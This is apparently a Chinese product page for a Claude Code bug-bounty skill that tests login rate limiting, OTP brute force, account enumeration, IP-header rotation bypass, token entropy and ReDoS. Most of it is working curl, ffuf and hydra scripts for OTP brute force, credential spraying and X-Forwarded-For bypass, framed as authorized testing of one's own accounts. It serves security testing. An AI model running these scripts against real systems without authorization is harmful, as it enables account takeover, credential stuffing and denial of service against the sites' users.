关于 hunt-brute-force
用于评估限流、防暴力破解和账户枚举的 Web 安全测试技能,强调先分类防护状态,再验证影响,避免误报。
主要功能
- 01区分四种限流状态
- 02测试登录与 OTP 防护
- 03检测用户名枚举
- 04评估 IP 轮换绕过
- 05验证令牌熵与 ReDoS
适用场景
- 01检查 OTP 与重置码防护
- 02测试登录限速与账户锁定
- 03验证账户信息是否可被枚举
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-brute-force安装后在 Claude Code 中输入/hunt-brute-force确认已加载。
详细介绍
HUNT-BRUTE-FORCE — 速率限制 / 暴力破解 / 枚举
背景说明:此技能基于已发布的技术类别构建,并非来自经过整理的 HackerOne 报告集合。
report_count有意设为0——不要引用无法核实的具体奖金金额或报告 ID。对于有充分公开记录的案例(例如 Laxman Muthiyah 于 2019–2021 年开展的 Instagram 密码重置 OTP 竞态 / 轮换研究),下文会将其列为技术参考,而非奖金声明。
皇冠明珠目标
OTP 暴力破解(6 位数字共有 1,000,000 种组合)且没有有效的速率限制 = 严重 ATO 绕过。
最高价值攻击链:
- OTP / 2FA 暴力破解 → 绕过 MFA → ATO —
/verify-otp没有有效的速率限制,且可遍历完整的 000000–999999 密钥空间 - 密码重置令牌暴力破解 — 令牌短小 / 可预测 / 永不过期,且没有速率限制 → ATO(Instagram 2019 年案例结合了 6 位数重置码、对每个请求来源均不设速率限制,以及 IP 轮换,使 10^6 种组合变得可行)
- 用户名 / 电子邮件枚举 → 定向凭据填充 — 可通过响应文本、状态码或响应时间区分有效和无效信息,然后使用泄露数据集进行批量尝试
- 优惠券 / 礼品卡 / 推荐码暴力破解 — 验证码没有速率限制 → 造成财务影响
- ReDoS — 攻击者控制的输入触发灾难性回溯正则表达式 → CPU 耗尽 → DoS
自主测试优先级
在当前轮次预算内测试——优先关注信号,而非数量。
自动化测试无法暴力破解数百万种组合。请专注于两件事:(1) 使用最有可能的候选凭据进行喷洒攻击;(2) 检测是否存在速率限制。
策略:
- 找出登录端点和预期参数名称(用户名 / 电子邮件、密码)。
- 尝试符合目标环境的弱密码 / 默认凭据——应用技术栈的默认管理员凭据、测试环境的简单密码,以及应用其他位置可见的凭据(例如个人资料中公开的用户名、文档中的默认密码)。
- 连续失败 3-5 次后,检查是否出现速率限制信号(429 状态码、“尝试次数过多”提示、出现 CAPTCHA、账户锁定提示)。如果没有这些信号,即表示缺少速率限制,存在漏洞。
- 传统登录表单使用表单编码,REST API 登录端点使用 JSON。
成功时应检查:
- 响应正文或 Set-Cookie 标头中是否包含会话令牌或 JWT
- 是否重定向到已验证身份的控制面板
- 响应正文是否与登录失败时的基准响应不同
用户名枚举(单独报告): 尝试一个已知有效的用户名和一个随机用户名。如果错误消息不同(“密码错误”与“未找到用户”),或响应时间不同 → 存在用户枚举漏洞,即使没有成功登录也成立。
关键:四种限速状态——不要将它们混为一谈
没有 429 的 200/401 并不意味着“没有限速”。只检查 429/锁定状态的限速技能会产生假阴性。在下结论之前,先对防护进行分类:发送约 50 个请求的突发流量,并观察完整响应(状态码、正文、标头、延迟和下游成功情况):
| 状态 | 信号 | 仍可暴力破解? |
|---|---|---|
| 硬性账户锁定 | 失败 N 次后账户被禁用;之后即使使用正确凭据也会失败 | 否(但锁定本身可能构成拒绝服务漏洞) |
| 软性 IP 限速 | 仅按源 IP 触发 429/延迟增加 | 是——可通过轮换标头/IP 绕过(阶段 4) |
| 注入 CAPTCHA | 200,但正文在 N 次请求后切换为 CAPTCHA 挑战 | 可能——检查验证端点是否在服务端强制执行,或 API 路径是否跳过了它 |
| 静默影子限速 | 每个请求都返回 200/401,但提交内容被丢弃——真正正确的 OTP/密码不再被接受,或响应变成固定内容 | **这就是陷阱。**天真的循环看到“全是 200,没有 429”就报告“没有限速”——这是错误结论。 |
影子限速检测器——在已知位置注入已知有效的值,并确认它在负载下仍然有效:
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456" # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.
分步漏洞挖掘方法
阶段 1 — 登录限速测试(分类,而不只是统计 429)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
# - status flips to 429 / 403 → soft throttle or lockout
# - body grows / CAPTCHA token appears → CAPTCHA injection
# - latency climbs while status stays 401 → shadow throttle
# - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
阶段 2 — OTP / 2FA 暴力破解
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"
# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
# - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
# - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
# - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
# Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
# code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
阶段 3 — 用户名 / 邮箱枚举(字符串、状态码和时序)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"
# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
-X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
-d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
<(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.
# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.
# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register" -d "email=$VALID_USER" | grep -i "exist\|taken\|already"
阶段 3b — 注册接口未限速(批量创建账户)
未限速的注册端点本身就是滥用类漏洞,不只是枚举预言机:对 */signup/*/register 发送突发请求(每个请求轮换邮箱和来源),并确认确实创建了 N 个账户,且没有 429/CAPTCHA/锁定 → 自动批量创建账户(垃圾信息、促销/推荐滥用、资源耗尽)。单独来看风险为低至中;若能串联到付费/受限资源,风险更高。已披露:reports/2915502。
阶段 4 — IP / 来源轮换绕过
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
"X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
阶段 5 — 令牌熵(测量,不要凭肉眼判断)
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
curl -s -X POST "https://$TARGET/forgot-password" -d "[email protected]"
# Extract token from the email/link and append to tokens.txt
sleep 2
done
# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"
# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt
# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}' # constant/small delta = counter-based
# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
# response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
# < ~64 effective bits on a security token is a finding; the brute-window math follows.
阶段 6 — ReDoS 检测
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
INPUT=$(python3 -c "print('a'*$LEN + '!')") # for (a+)+$ / (a|a)*$ style regex
T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.
自动化
# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
-H "Content-Type: application/json" -H "Cookie: session=SESSION" \
-d '{"otp": "FUZZ"}' \
-w <(seq -f "%06g" 0 100) \
-mc all -ac \
-rate 50 # cap throughput so YOU can read the rate-limit response, not DoS the target
# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
# seq -f "%06g" 0 999999 > /tmp/otp_full.txt (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.
# ---- hydra: login spray ----
hydra -l [email protected] -P ~/wordlists/top-1000.txt "$TARGET" \
http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4
# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical
漏洞链表
| 发现 | 链接到 | 影响 |
|---|---|---|
| OTP 无有效限速(可遍历完整的 10^6 种可能) | 绕过 MFA → ATO | 严重 |
| 暴力破解密码重置码 + IP 轮换 | 重置 → ATO(Instagram-2019 类) | 严重 |
| 登录无速率限制 + 枚举 | 使用泄露凭据库进行凭据填充攻击 | 高 |
| 通过 X-Forwarded-For 等绕过 IP 限制 | 绕过应用中所有按 IP 限制的机制 | 高 |
| 重置令牌可预测 / 熵低 | 在有效期内猜中令牌 → ATO | 高 |
| 公共输入字段存在 ReDoS | 单个请求即可耗尽 CPU → DoS | 中至高 |
| 攻击者可触发硬性锁定 | 定向账户 DoS(锁定受害者账户) | 中 |
验证 — 严格排除误报
撰写报告前,必须满足以下各项:
- OTP/登录“无速率限制”:必须针对全部四种状态进行确认,不能仅凭未出现
429。 影子限流种子测试已通过(在突发负载下,已知有效值仍可通过认证)。 监测了延迟和响应体大小,而不只是状态码。 - 全密钥空间声明:严重程度应由可达性计算(吞吐量 × 代码有效期与 10^6 的比较)来证明,而不是依据 101 个代码的探测结果。报告中应列明具体数字。
- 枚举:差异必须能在 ≥20 个样本中重现,且属于服务器状态差异(用户有效与无效),而不是服务器策略造成的表象(例如,通用的“如果存在此邮箱,我们已发送……”消息不属于枚举)。对于时序,应比较多个样本的中位数,绝不能只比较单次请求。
- IP 轮换绕过:关闭轮换并证明
429会重新出现。差异本身才是证据;仅有一次快速测试并不足够。 - 令牌熵:必须有实际测量结果支持(Burp Sequencer 有效位数、
ent,或已证明的计数器/时间戳结构),不能只说“看起来很短”。 - ReDoS:延迟随输入加倍呈超线性增长,并与无害对照进行比较;线性增长 ≠ ReDoS。
- 范围/影响:是否造成了实际结果(已认证会话、泄露账户列表、拒绝服务)?如果速率限制存在缺口,但无法造成实际影响,则应定为信息级,而不是中危。
严重程度:
- OTP/MFA/重置码可被有效暴力破解 → 已证明可劫持账户(ATO):严重
- 登录无速率限制 + 凭证填充/IP 绕过可行:高危
- 安全令牌可预测(实测熵低):高危
- 单独的用户名/邮箱枚举:低危–中危
- ReDoS 可复现并导致服务器明显延迟:中危–高危
- 攻击者可触发的硬锁定(账户拒绝服务):中危